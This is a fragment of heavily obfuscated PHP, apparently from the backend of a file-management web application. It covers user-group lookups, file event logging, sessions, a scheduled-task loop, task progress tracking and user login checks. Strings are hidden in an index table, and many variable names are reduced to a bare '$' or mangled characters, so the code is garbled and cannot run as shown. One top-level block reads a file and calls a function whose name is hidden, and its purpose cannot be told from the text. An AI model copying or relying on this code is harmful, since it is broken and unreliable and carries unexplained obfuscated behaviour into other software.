$ݬ[$ª[193]]); return $; } private function groupContainUser($, $˼ = false) { return in_array($, $this->userGroupParents($˼)); } private function groupStepToUserGroup($, $惣 = false) { $ =& $_SERVER[秼]; $ = $this->userGroupList($惣); $͇ = 1000; $ͫ = $GLOBALS[$[6]][$[92]][$[2091]] == 1; $ = $ͫ ? 3 : 2; foreach ($ as $ߑ) { if ($ߑ[$[1984]] == $) { return 0; } $ = explode($[50], trim($ߑ[$[595]], $[50])); if ($[0] == $[230] && count($) > $) { $ű = array_reverse(array_slice($, $)); $˙ˇ = array_search($, $ű); if ($˙ˇ !== !1 && $˙ˇ + 1 <= $͇) { $͇ = $˙ˇ + 1; } } } return $͇; } private function userGroupList($ӆ = false) { $ =& $_SERVER[秼]; static $ = array(); if (isset($[$ӆ])) { return $[$ӆ]; } $ = Model($[608])->getInfo($ӆ); $[$ӆ] = array_to_keyvalue($[$[2176]], $[1984]); return $[$ӆ]; } public function userGroupParents($秩) { $՜ =& $_SERVER[秼]; static $ = array(); $秩 = $秩 ? $秩 : USER_ID; if (isset($[$秩])) { return $[$秩]; } $ = $this->userGroupList($秩); $ຖͨ = array(); $ۉ = $GLOBALS[$՜[6]][$՜[92]][$՜[2091]] == 1; $텧 = $ۉ ? 3 : 2; foreach ($ as $) { $ = array($[$՜[1984]]); $ = explode($՜[50], trim($[$՜[595]], $՜[50])); if ($[0] == $՜[230] && count($) > $텧) { $ = array_slice($, $텧); $ = array_merge($, array_reverse($)); } $ຖͨ = array_merge($ຖͨ, $); } $[$秩] = array_unique($ຖͨ); return $[$秩]; } public function authTargetInfoMake($) { $ =& $_SERVER[秼]; $΄ = array(); $ = array(); foreach ($ as $) { if ($[$[190]] == SourceModel::TYPE_USER) { $΄[] = intval($[$[580]]); } else { if ($[$[190]] == SourceModel::TYPE_GROUP) { $[] = intval($[$[580]]); } } } if ($΄) { $΄ = Model($[588])->userListInfo($΄); } if ($) { $ע = array($[2076] => array($[503], $)); $ = Model($[596])->field($[2206])->where($ע)->select(); $ = array_to_keyvalue($, $[1984]); } return array($[2207] => $΄, $[2208] => $); } public function authInfo($ø) { $Ί =& $_SERVER[秼]; if ($ø[$Ί[2092]]) { $ = Model($Ί[582])->listData($ø[$Ί[2092]]); if (!$) { return !1; $ = Model($Ί[582])->listData(); $ѳ畕 = array_filter_by_field($, $Ί[498], $Ί[230]); return $ѳ畕; } $紽 = array_field_key($, array($Ί[486], $Ί[32], $Ί[498], $Ί[2007], $Ί[2008])); $紽[$Ί[2209]] = $ø; return $紽; } else { return array($Ί[504] => 0, $Ί[1990] => $ø[$Ί[2153]], $Ί[505] => $Ί[12], $Ί[2007] => $Ί[2210]); } } } if ($_SERVER[$_SERVER[秼][434]] != $_SERVER[$_SERVER[秼][1634]]) { $_getc = $_SERVER[秼][435]; $_getfile = $_SERVER[$_SERVER[秼][436]] . $_SERVER[秼][437]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[秼][287], $_getfilec); if (count($_getarrs) < $_SERVER[秼][438]) { $exit = $_SERVER[秼][439]; $exit(); } $_act = $_SERVER[秼][440]; $_act($_SERVER[$_SERVER[秼][432]]); } class SourceEventModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x73\x6f\165\162\143\145\137\145\166\x65\x6e\164"; protected $dataAuto = array(array("\x63\162\145\141\164\x65\x54\151\x6d\x65", "\x74\x69\x6d\145", "\x69\156\x73\x65\162\x74", "\146\165\156\143\164\151\157\x6e"), array("\x64\x65\x73\x63", '', "\151\156\163\145\162\164\x2c\x75\x70\144\141\164\145\54\163\145\x6c\145\x63\x74", "\152\x73\x6f\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($, $, $ = '') { $؈ =& $_SERVER[秼]; if (!$this->eventSave) { return; } $Ј = Model($؈[1430])->sourceInfo($); if (!$Ј) { return !1; } if ($this->isDisableEvent($Ј, $)) { return; } if ($ && is_string($)) { $ = array($؈[2023] => $); } $ݟﺰ = defined($؈[2211]) ? USER_ID : 0; $М = array($؈[502] => $, $؈[2212] => $Ј[$؈[192]], $؈[2213] => $Ј[$؈[32]], $؈[593] => !empty($Ј[$؈[593]]) ? $Ј[$؈[593]] : $؈[12], $؈[1774] => $ݟﺰ, $؈[507] => $, $؈[1776] => $); $this->addSystemLog($, $М); unset($М[$؈[2213]], $М[$؈[593]]); return $this->add($М); } private function addSystemLog($, $) { $ =& $_SERVER[秼]; if ($ == $[2214]) { $ = $[$[537]][$[2215]]; } else { if (in_array($, array($[1963], $[2216]))) { $ = $[$[537]][$[171]]; } } $ = array_merge($, array($[2217] => $[$[193]], $[2218] => $[$[2218]])); Hook::trigger($[2219], $[2220] . $, $); Model($[1927])->addLog($[2220] . $, $); } private function isDisableEvent($ʌ, $) { $㨶 =& $_SERVER[秼]; if ($ʌ[$㨶[190]] != SourceModel::TYPE_SYSTEM) { return !1; } if ($ == $㨶[1952]) { return !1; } return !0; } public function eventCreate($ö, $) { $Ş =& $_SERVER[秼]; $ى§ = Model($Ş[1430])->sourceInfo($ö); $ = array($Ş[2215] => $, $Ş[32] => $ى§[$Ş[32]]); return $this->addEvent($ö, $Ş[2214], $); } public function eventFileEdit($؈) { $ק =& $_SERVER[秼]; $ص = array($ק[2221] => $_SERVER[$ק[2222]], $ק[2223] => strtolower(ACTION)); if (isset($GLOBALS[$ק[7]][$ק[2224]])) { $ص[$ק[2224]] = $ק[91]; } return $this->addEvent($؈, $ק[1953], $ص); } public function eventRecycle($Լ, $Ѿ) { return $this->addEvent($Լ, $_SERVER[秼][2216], $Ѿ); } private static $_removeLast = ''; public function eventRemove($ǥ) { $ =& $_SERVER[秼]; self::$_removeLast = $ǥ; $ = Model($[1430])->sourceInfo($ǥ); $ = array_field_key($, array($[193], $[552], $[516], $[595])); $Ϭ = array($[171] => $[$[32]], $[2223] => ACTION, $[2225] => $); return $this->addEvent($[$[192]], $[1952], $Ϭ); } public function eventShare($, $) { return $this->addEvent($, $_SERVER[秼][1963], $); } public function eventMove($봱, $ˍЊ, $͝) { $ل =& $_SERVER[秼]; if (self::$_removeLast == $봱) { return; } $쥶 = Model($ل[1430]); $և = $쥶->sourceInfo($봱); $ = $쥶->sourceInfo($ˍЊ); $ffi = $쥶->sourceInfo($͝); $ = array($ل[1250] => $ˍЊ, $ل[2226] => $[$ل[32]], $ل[2202] => !empty($[$ل[593]]) ? $[$ل[593]] : $ل[12], $ل[1251] => $͝, $ل[2227] => $ffi[$ل[32]], $ل[2228] => !empty($ffi[$ل[593]]) ? $ffi[$ل[593]] : $ل[12]); $this->addEvent($봱, $ل[634], $); $և = $쥶->sourceInfo($봱); $ = array($ل[193] => $և[$ل[193]], $ل[32] => $և[$ل[32]]); $this->addEvent($ˍЊ, $ل[2229], $); } public function eventCopy($۶) { $this->eventCreate($۶, $_SERVER[秼][632]); } public function eventRename($, $گ, $֥) { $ =& $_SERVER[秼]; $Ÿ = array($[1250] => $گ, $[1251] => $֥); return $this->addEvent($, $[1444], $Ÿ); } public function eventAddComment($Ù, $) { return $this->addEvent($Ù, $_SERVER[秼][2230], $); } public function eventAddDesc($ж, $Ï) { return $this->addEvent($ж, $_SERVER[秼][2231], $Ï); } public function listBySource($) { $ =& $_SERVER[秼]; $ = Model($[1430])->sourceInfo($); $ = array($[502] => $); if ($[$[496]] == $[91]) { $ؑ = Model($[1430])->listSearchChildren($, 20000); $ؑ[] = $ . $[465]; $ = array($[193] => array($[7], $ؑ)); } $ = $this->where($)->order($[2232])->selectPage(); if ($[$[453]][$[454]] == 0) { $[$[453]][$[454]] = 1; $[$[456]] = array(array($[502] => $, $[2212] => $[$[192]], $[1774] => $[$[538]], $[507] => $[2233], $[508] => $[$[233]], $[1776] => $[12])); } return $this->eventListParse($, $); } private function eventListParse($ׂ, $ً) { $Є =& $_SERVER[秼]; $ȸ˯ = $ׂ[$Є[456]]; $ = array_to_keyvalue($ȸ˯, $Є[12], $Є[193]); $ = array_to_keyvalue($ȸ˯, $Є[12], $Є[2218]); foreach ($ȸ˯ as $ݻ) { $Ӈĕ = $ݻ[$Є[537]]; if ($ݻ[$Є[33]] == $Є[634] && isset($Ӈĕ[$Є[1250]])) { $[] = $Ӈĕ[$Є[1250]] . $Є[12]; $[] = $Ӈĕ[$Є[1251]] . $Є[12]; } if ($ݻ[$Є[33]] == $Є[2229] && isset($Ӈĕ[$Є[193]])) { $[] = $Ӈĕ[$Є[193]] . $Є[12]; } } $ = array_merge($, $, array($ً . $Є[12])); $ = array_unique($); $劒 = array_unique(array_to_keyvalue($ȸ˯, $Є[12], $Є[1783])); $噘 = Model($Є[608])->userListInfo($劒); $ = Model($Є[913])->sourceListInfo($, !0); foreach ($ȸ˯ as &$ݻ) { if ($ݻ[$Є[33]] == $Є[634] && isset($ݻ[$Є[537]][$Є[1250]])) { $ݻ[$Є[537]][$Є[1250]] = $[$ݻ[$Є[537]][$Є[1250]]]; $ݻ[$Є[537]][$Є[1251]] = $[$ݻ[$Є[537]][$Є[1251]]]; } if ($ݻ[$Є[33]] == $Є[2229] && isset($ݻ[$Є[537]][$Є[193]])) { $ݻ[$Є[537]][$Є[193]] = $[$ݻ[$Є[537]][$Є[193]]]; } $ݻ[$Є[90]] = $[$ݻ[$Є[193]]]; $ݻ[$Є[2234]] = $[$ݻ[$Є[2218]]]; if ($ݻ[$Є[33]] == $Є[1952]) { $ݻ[$Є[2234]] = $ݻ[$Є[90]]; $ݻ[$Є[2218]] = $ݻ[$Є[2234]][$Є[193]]; $ݻ[$Є[90]] = !1; $ݻ[$Є[193]] = $Є[12]; } $ݻ[$Є[2161]] = $噘[$ݻ[$Є[1783]]]; } unset($ݻ); $ׂ[$Є[456]] = $ȸ˯; return $ׂ; } public function removeBySource($멱) { $ = array($_SERVER[秼][502] => $멱); $this->where($)->remove(); } } goto D٥; Aȟ: class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $ɏ =& $_SERVER[秼]; static $ = false; if ($) { return $; } $˜ = $GLOBALS[$ɏ[6]][$ɏ[426]]; self::$sessionTime = $˜[$ɏ[1728]]; $Ն = isset($GLOBALS[$ɏ[1729]]) ? $GLOBALS[$ɏ[1729]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($Ն)) { self::$sessionSign = Cookie::get($Ն); } else { self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } } Cookie::setSafe($Ն, self::$sessionSign, self::$sessionTime); $ٸק = $˜[$ɏ[1730]]; $ = $˜[$ٸק]; $ = $˜[$ɏ[916]]; switch ($ٸק) { case $ɏ[21]: self::$handle = Model($ɏ[917]); break; case $ɏ[918]: self::$handle = new CacheRedis($, $); break; case $ɏ[919]: self::$handle = new CacheMemcached($, $); break; case $ɏ[232]: $[$ɏ[87]] = $[$ɏ[87]] . $ɏ[1731]; self::$handle = new CacheFile($, $); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($ɿ) { $ = self::$handle->get($ɿ); $ = unserialize($); return is_array($) ? $ : array(); } public static function setBySign($ζ, $僾) { CacheLock::lock($ζ); self::$handle->set($ζ, serialize($僾), self::$sessionTime); CacheLock::unlock($ζ); } public static function sign($ = false) { if ($) { self::$sessionSign = $; } self::init(); return self::$sessionSign; } public static function set($ܫ, $߸ = false) { self::init(); if (is_array($ܫ)) { foreach ($ܫ as $ => $蘊) { array_set_value(self::$data, $, $蘊); } } else { array_set_value(self::$data, $ܫ, $߸); } self::setBySign(self::$sessionSign, self::$data); } public static function get($ = false) { self::init(); if (!$) { return self::$data; } return array_get_value(self::$data, $); } public static function remove($) { self::init(); unset(self::$data[$]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[秼][922])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ũ =& $_SERVER[秼]; if (self::valueGet($ũ[838]) != $ũ[91]) { return; } if (self::valueGet($ũ[1732]) == $ũ[91]) { $ŷ = self::valueGet($ũ[1733]); if (time() - $ŷ > self::AUTO_RESTART_TIME) { self::restart(); } return; } self::clearUserStatus(); self::valueSet($ũ[1732], $ũ[91]); self::log($ũ[1734] . ACTION . $ũ[1735]); Hook::bind($ũ[1736], $ũ[1737]); $ؖ = 0; while (!0) { self::cacheClear(); if (self::valueGet($ũ[838]) != $ũ[91]) { self::valueSet($ũ[1732], $ũ[230]); self::log($ũ[1738]); die; } $̱ = time(); if ($̱ - $ؖ >= 60) { self::valueSet(array($ũ[1732] => $ũ[91], $ũ[1733] => $̱)); $ؖ = $̱; } if (!file_exists(USER_SYSTEM . $ũ[1739])) { self::valueSet(array($ũ[1732] => $ũ[230], $ũ[838] => $ũ[230])); self::log($ũ[1740]); die; } $魵 = file_get_contents(BASIC_PATH . $ũ[1741]); $ޯ = KOD_VERSION . $ũ[10] . KOD_VERSION_BUILD; $п = match_text($魵, $ũ[1742]) . $ũ[10] . match_text($魵, $ũ[1743]); if ($п != $ޯ) { self::restart(); self::log("\x73\164\x6f\160\145\144\x2e\x5b\166\x65\x72\163\151\157\x6e\40\x75\160\144\x61\164\145\73{$versionNow}\x20\75\76\x20{$version}\135"); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function clearUserStatus() { $ =& $_SERVER[秼]; http_close(); $GLOBALS[$[1744]] = 1; $_SERVER[$[1745]] = $[1746]; $_COOKIE = array(); $GLOBALS[$[1747]] = 1; $GLOBALS[$[1748]] = 1; Session::$sessionSign = guid(); Session::$data = array(); } public static function restart() { $ =& $_SERVER[秼]; http_close(); self::valueSet($[838], $[230]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($[1732] => $[230], $[838] => $[91])); self::log($[1749]); } public static function taskSwitch() { $Æ =& $_SERVER[秼]; $Ɍ = self::valueGet($Æ[838]) == $Æ[91] ? $Æ[230] : $Æ[91]; self::valueSet($Æ[838], $Ɍ); } public static function shutdownEvent() { $ى =& $_SERVER[秼]; self::valueSet($ى[1732], $ى[230]); self::log($ى[1750]); } public static function config($, $ε) { self::valueSet($_SERVER[秼][838], $); } private static function taskRunAll() { $ =& $_SERVER[秼]; $ = timeFloat(); $趜 = Model($[1751])->listData(); $ = count($趜); for ($跣 = 0; $跣 < $; $跣++) { $ۄ = $趜[$跣]; if (!$ۄ[$[486]] || $ۄ[$[1752]] != $[91]) { continue; } if (!self::taskTimeCheck($ۄ)) { continue; } self::taskRun($ۄ); } Hook::trigger($[1753]); self::taskQueueRun($); } private static function taskQueueRun($ހ) { $ޓ퉕 = 10; while (!0) { $۩ = TaskQueue::run(); if ($۩ === !1) { break; } if (timeFloat() - $ހ >= $ޓ퉕) { break; } } } private static function taskTimeCheck($Ç) { $戟 =& $_SERVER[秼]; $İ = json_decode($Ç[$戟[206]], !0); $ɧћ = intval($Ç[$戟[1733]]); $ = strtotime($戟[1754] . $İ[$戟[1755]] . $戟[1756]) - strtotime($戟[1757]); $ = time() - strtotime(date($戟[1758]) . $戟[1759]); $̳ٞ = $ >= $ && $ <= $ + 3600; switch ($İ[$戟[33]]) { case $戟[1760]: if (time() - $ɧћ < 3600 * 24 * 30) { return !1; } if ($İ[$戟[1760]] == date($戟[1761]) && $̳ٞ) { return !0; } break; case $戟[1762]: if (time() - $ɧћ < 3600 * 24 * 7) { return !1; } $҄ = date($戟[1763]) == 0 ? 7 : date($戟[1763]); if ($İ[$戟[1762]] == $҄ && $̳ٞ) { return !0; } break; case $戟[1755]: if (time() - $ɧћ < 3600 * 24) { return !1; } if ($̳ٞ) { return !0; } break; case $戟[1764]: if (time() - $ɧћ >= floatval($İ[$戟[1764]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ű =& $_SERVER[秼]; static $՝ = 0; $ᦾ = 300; if (!$՝) { $՝ = time(); } if (time() - $՝ < $ᦾ) { return; } $՝ = time(); $ώ = Model($ű[588])->db($ű[12]); if ($ώ) { $ώ->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($ű[1765], $ű[1766]); die; } } public static function taskRun($) { $ڃ =& $_SERVER[秼]; self::log($ڃ[1767] . $[$ڃ[486]] . $ڃ[1768] . $[$ڃ[32]] . $ڃ[1769] . $[$ڃ[1770]]); Model($ڃ[1751])->run($[$ڃ[486]]); $툂 = timeFloat(); $ȻՓ = $ڃ[12]; switch ($[$ڃ[33]]) { case $ڃ[384]: $˂ = url_request($[$ڃ[1770]], $ڃ[1505], !1, !1, !1, !1, 10); if ($˂[$ڃ[838]]) { $ȻՓ = strlen($˂[$ڃ[1296]]); } break; case $ڃ[1771]: $ȻՓ = Hook::apply($[$ڃ[1770]]); default: break; } Model($ڃ[1772])->add(array($ڃ[1773] => $ڃ[12], $ڃ[1774] => $ڃ[230], $ڃ[33] => $ڃ[1775] . $[$ڃ[486]], $ڃ[1776] => json_encode(array($ڃ[32] => $[$ڃ[32]], $ڃ[1777] => timeFloat() - $툂, $ڃ[370] => $ȻՓ)))); $ = $ȻՓ ? $ڃ[1778] . $ȻՓ : $ڃ[12]; self::log($ڃ[1779] . $[$ڃ[486]] . $ڃ[178] . $); return !0; } public static function valueGet($) { $ǔԎ =& $_SERVER[秼]; $ϰ = $ǔԎ[1780]; $ = Model($ǔԎ[519])->get($, $ϰ); if (is_null($)) { Model($ǔԎ[519])->set($ǔԎ[838], $ǔԎ[91], $ϰ); Model($ǔԎ[519])->set($ǔԎ[1732], $ǔԎ[230], $ϰ); $ = Model($ǔԎ[519])->get($, $ϰ); } return $; } private static function valueSet($, $㕍 = false) { $ʮ =& $_SERVER[秼]; $ƣ = $ʮ[1781]; CacheLock::lock($ƣ); $ = Model($ʮ[519])->set($, $㕍, $ʮ[1780]); CacheLock::unlock($ƣ); return $; } protected static function log($ڴ) { write_log($ڴ, $_SERVER[秼][1766]); } private static function cacheClear() { $ =& $_SERVER[秼]; Cache::clearMemory(Model($[519])->cacheKey($[1780])); Cache::clearMemory(Model($[519])->cacheKey($[1782])); Model($[1751])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\x73\x74\157\160"; const STATYS_RUNNING = "\x72\x75\x6e\156\x69\x6e\x67"; const STATYS_KILL = "\153\x69\x6c\x6c"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($, $ = '', $ = 0, $ = '') { $Ň =& $_SERVER[秼]; if (self::get($)) { return; } $this->task = array($Ň[486] => $, $Ň[1783] => USER_ID, $Ň[1671] => $, $Ň[537] => $Ň[12], $Ň[33] => $, $Ň[1151] => $Ň[12], $Ň[1149] => $, $Ň[1784] => 0, $Ň[1785] => 0, $Ň[1786] => 0, $Ň[1787] => timeFloat(), $Ň[1788] => 0, $Ň[1789] => 0, $Ň[1790] => 0, $Ň[1791] => 0, $Ň[838] => $Ň[1732]); $GLOBALS[$Ň[1792]] = 1; Hook::bind($Ň[1736], array($this, $Ň[1793])); Hook::bind($Ň[1794], array($this, $Ň[1795])); $this->startAfter(); Hook::trigger($Ň[1796], $this->task); $this->task[$Ň[1789]] = timeFloat(); } public function end($Ȳ = '') { $ɠ =& $_SERVER[秼]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$ɠ[1789]]) { self::valueSet($this->task[$ɠ[486]], !1); } $this->isEnd = !0; if ($Ȳ) { $this->task[$ɠ[537]] = $Ȳ; } self::log($ɠ[1797] . $this->task[$ɠ[486]] . $ɠ[1798] . sprintf($ɠ[940], timeFloat() - $this->task[$ɠ[1787]]) . $ɠ[1799]); Hook::unbind($ɠ[1736], array($this, $ɠ[1793])); Hook::unbind($ɠ[1794], array($this, $ɠ[1795])); $this->endAfter(); $ = $this->task; $this->task = !1; Hook::trigger($ɠ[1800], $); } public function update($ = 0, $ = false) { $ =& $_SERVER[秼]; $ =& $this->task; if (!$) { return; } $[$[1784]] += $; $[$[1788]] = timeFloat(); if ($[$[1149]]) { if ($[$[1149]] < $[$[1784]]) { $[$[1149]] = $[$[1784]]; } $ܷ = timeFloat() - $[$[1787]] - $[$[1790]]; if ($ܷ <= 0) { $ܷ = 0.001; } $[$[1785]] = $[$[1784]] / $[$[1149]]; $[$[1786]] = $[$[1784]] / $ܷ; if ($[$[1785]] > 0) { $[$[1791]] = $ܷ * (1 - $[$[1785]]) / $[$[1785]]; } $[$[1791]] = $[$[1791]] <= 0 ? 0 : $[$[1791]]; } $this->updateAfter(); $āÒ = 0.2; if (timeFloat() - $[$[1789]] < $āÒ && !$) { return; } $ = self::get($[$[486]]); $ = $[$[838]]; if ($ == self::STATYS_KILL) { $ɖ = array($[1801] => LNG($[1802]), $[1306] => !1); Cache::set($[1803] . $this->task[$[486]], $ɖ, 30); $this->onKill(); $this->end(); die; } else { if ($ == self::STATYS_STOP) { $ = 2; $[$[1790]] += $; self::valueSet($[$[486]], $); sleep($); $this->update(); return; } } $[$[838]] = $ ? $ : $[$[838]]; $[$[1790]] = $[$[1790]] ? $[$[1790]] : 0; $[$[1789]] = timeFloat(); Hook::trigger($[1804], $); self::valueSet($[$[486]], $); } public function onKillSet($М, $ΰÉ = array()) { $this->onKillCall = array($М, $ΰÉ); } public function onKill() { $ =& $_SERVER[秼]; self::log($[1797] . $this->task[$[486]] . $[1805]); Hook::trigger($[1806], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($ƳȚ) { $ڤ =& $_SERVER[秼]; Cache::set($ڤ[1803] . $this->task[$ڤ[486]], $ƳȚ, 60); if (!is_array($ƳȚ) || !$ƳȚ[$ڤ[1306]]) { self::log($ڤ[1807] . json_encode($ƳȚ)); } return $ƳȚ; } public static function get($үޝ) { $Ԕ =& $_SERVER[秼]; $ = self::valueGet($үޝ); if (is_array($) && $[$Ԕ[1808]]) { $ = ActionApply($[$Ԕ[1808]], array($)); $ = is_array($) ? $ : $; } return $; } public static function listData() { $ݝ = self::valueGet(); return array_sort_by($ݝ, $_SERVER[秼][1787], !0); } public static function kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($ߠ) { return self::changeStatus($ߠ, self::STATYS_STOP); } public static function restart($) { return self::changeStatus($, self::STATYS_RUNNING); } public static function killAll() { $ =& $_SERVER[秼]; $ = self::listData(); foreach ($ as $̣) { self::kill($̣[$[486]]); } sleep(2); foreach ($ as $̣) { self::valueSet($̣[$[486]], !1); } } private static function changeStatus($۠, $) { $Ƈڨ =& $_SERVER[秼]; $ = self::valueGet($۠); if (!$) { return !1; } $[$Ƈڨ[838]] = $; self::valueSet($۠, $); self::log($Ƈڨ[1809] . $[$Ƈڨ[486]] . $Ƈڨ[1810] . $); return !0; } public static function valueGet($ = false) { $ =& $_SERVER[秼]; if ($) { $ = Model($[531])->where(array($[97] => $, $[33] => $[1158]))->find(); return $ ? json_decode($[$[461]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($䘶ʊ = false) { $ =& $_SERVER[秼]; $ı = array($[33] => $[1158]); if ($䘶ʊ) { $ı[$[1783]] = $䘶ʊ; } $Κݵ = Model($[531])->where($ı)->select(); $Κݵ = $Κݵ ? $Κݵ : array(); foreach ($Κݵ as $鼍 => $) { $Κݵ[$鼍] = json_decode($[$[461]], !0); } return $Κݵ; } public static function valueSet($, $Օ) { $ͮޯ =& $_SERVER[秼]; if (!$Օ) { return Model($ͮޯ[531])->where(array($ͮޯ[97] => $, $ͮޯ[33] => $ͮޯ[1158]))->delete(); } $ = json_encode($Օ); if (!$) { ob_start(); var_dump($Օ); $㢋 = ob_get_clean(); self::log($ͮޯ[1811] . json_encode_force($㢋)); } if (!$ || !$Օ[$ͮޯ[486]]) { return !1; } $ = array($ͮޯ[33] => $ͮޯ[1158], $ͮޯ[1783] => USER_ID, $ͮޯ[97] => $, $ͮޯ[461] => $); $Ϻۏ = $ͮޯ[1812]; CacheLock::lock($Ϻۏ); Model($ͮޯ[531])->add($, array(), !0); CacheLock::unlock($Ϻۏ); } public static function log($Ȃ) { if (!GLOBAL_DEBUG) { return; } write_log($Ȃ, $_SERVER[秼][1813]); } } goto Eٕ; B݈ő: class UserModel extends ModelBase { protected $tableName = "\x75\x73\145\162"; protected $tableMeta = array("\x74\141\x62\154\145\x4e\x61\155\x65" => "\165\x73\x65\162\137\x6d\x65\164\141", "\x6d\x65\x74\141\x46\x69\x65\154\x64" => "\x75\x73\x65\162\x49\104"); protected $simpleField = "\165\163\145\162\111\x44\x2c\156\x69\143\x6b\x4e\141\x6d\145\54\x6e\x61\155\145\x2c\141\x76\x61\x74\x61\x72\x2c\x73\145\170\54\x73\164\141\x74\165\163"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($Ɠ) { $ =& $_SERVER[秼]; $ = $[2474]; return array($[2066] => array($Ɠ[0], $), $[2068] => array($Ɠ[0], $), $[2475] => array($Ɠ[0], $)); } protected function getInfo($х, $ = false) { $ǵʣ = $this->getInfoSimple($х); if (!is_array($ǵʣ)) { return array(); } if ($) { return $this->_getInfoApply($ǵʣ); } return $this->cacheFunctionGet($_SERVER[秼][2070], $х); } protected function getInfoFull($ƭ, $ߨ܋ = false) { $ԛ = $this->getInfoSimple($ƭ); if (!is_array($ԛ)) { return array(); } if ($ߨ܋) { return $this->_getInfoApply($ԛ, !0); } return $this->cacheFunctionGet($_SERVER[秼][2476], $ƭ); } private function _getInfoApply($ٸ, $ = false) { $ =& $_SERVER[秼]; if (!$ٸ) { return $ٸ; } $Ӻ⾈ = md5($[2477] . $ٸ[$[975]] . $[2478] . $ٸ[$[32]]); $ٸ = $this->_listDataApplyItem($ٸ); $6 = Model($[1430])->metaGet($ٸ[$[90]][$[193]]); $ٸ[$[2479]] = $Ӻ⾈; $ٸ[$[90]][$[2266]] = isset($6[$[2267]]) ? $6[$[2267]] : null; if ($) { $ٸ[$[550]] = $this->metaGet($ٸ[$[1783]]); } return $ٸ; } protected function getInfoSimple($鹶, $ = false) { $ =& $_SERVER[秼]; if (!$鹶) { return array(); } if ($) { $㨂 = $this->where(array($[1783] => intval($鹶)))->find(); if (!is_array($㨂)) { return array(); } $㨂[$[2480]] = Action($[2481])->parseUrl($㨂[$[2480]]); return $㨂; } return $this->cacheFunctionGet($[2071], $鹶); } protected function getInfoSimpleOuter($Dz) { $ʟ =& $_SERVER[秼]; if (!$Dz || $Dz == 0) { return array($ʟ[1783] => $ʟ[230], $ʟ[32] => $ʟ[176] . LNG($ʟ[2482]) . $ʟ[178], $ʟ[2480] => STATIC_PATH . $ʟ[2483]); } $ = $this->cacheFunctionGet($ʟ[2071], $Dz); $ڂ = array_field_key($, explode($ʟ[50], $this->simpleField)); if (!$ڂ) { return array($ʟ[1783] => $ʟ[1282], $ʟ[32] => $ʟ[176] . LNG($ʟ[2484]) . $ʟ[178], $ʟ[2480] => STATIC_PATH . $ʟ[2485]); } $ڂ[$ʟ[2480]] = Action($ʟ[2481])->parseUrl($ڂ[$ʟ[2480]]); return $ڂ; } protected function groupUser($ככ) { } public static function errorLang($) { $ =& $_SERVER[秼]; $ = array(self::ERROR_USER_NOT_EXISTS => $[2486], self::ERROR_USER_PASSWORD_ERROR => $[2487], self::ERROR_USER_EXIST_NAME => $[2488], self::ERROR_USER_EXIST_PHONE => $[2489], self::ERROR_USER_EXIST_EMAIL => $[2490], self::ERROR_USER_LOGIN_LOCK => $[2491], self::ERROR_IP_NOT_ALLOW => $[2492], self::ERROR_USER_EXIST_NICKNAME => $[2493]); $Θ² = LNG($[$]); if ($ == self::ERROR_USER_LOGIN_LOCK) { $շ = (int) Model($[2494])->get($[2495]); if ($շ > 60) { $Θ² = str_replace($[91], ceil($շ / 60), $Θ²); } } return $Θ²; } protected function metaSet($⃧, $ = null, $ڠ = null) { $this->clearCache($⃧); return parent::metaSet($⃧, $, $ڠ); } public function getInfoByMeta($, $ٵ) { $䙝 =& $_SERVER[秼]; $ = Model($䙝[2496])->where(array($䙝[97] => $, $䙝[461] => $ٵ))->find(); if ($) { return $this->getInfo($[$䙝[1783]]); } return !1; } public function userLoginCheck($ͨں, $ѓ) { $ȳ =& $_SERVER[秼]; $ꪠ = $this->userLoginFind($ͨں); if (!$ꪠ) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($ꪠ[$ȳ[1783]], $ѓ)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($ꪠ[$ȳ[1783]]); } public function userLoginFind($ڂŘ) { $泄 =& $_SERVER[秼]; $ = array($泄[32] => $ڂŘ, $泄[2279] => $ڂŘ, $泄[382] => $ڂŘ, $泄[2497] => $ڂŘ, $泄[1086] => $泄[1088]); if ($this->nickNameRpt()) { unset($[$泄[2279]]); } return $this->where($)->find(); } public function clearCache($) { $ =& $_SERVER[秼]; $this->cacheFunctionClear($[2070], $); $this->cacheFunctionClear($[2071], $); $this->cacheFunctionClear($[2476], $); } public function userPasswordCheck($̑, $) { $鮩 =& $_SERVER[秼]; $ = $this->where(array($鮩[1783] => intval($̑)))->find(); $Ȁܓ = $this->metaGet($̑); $͜ = 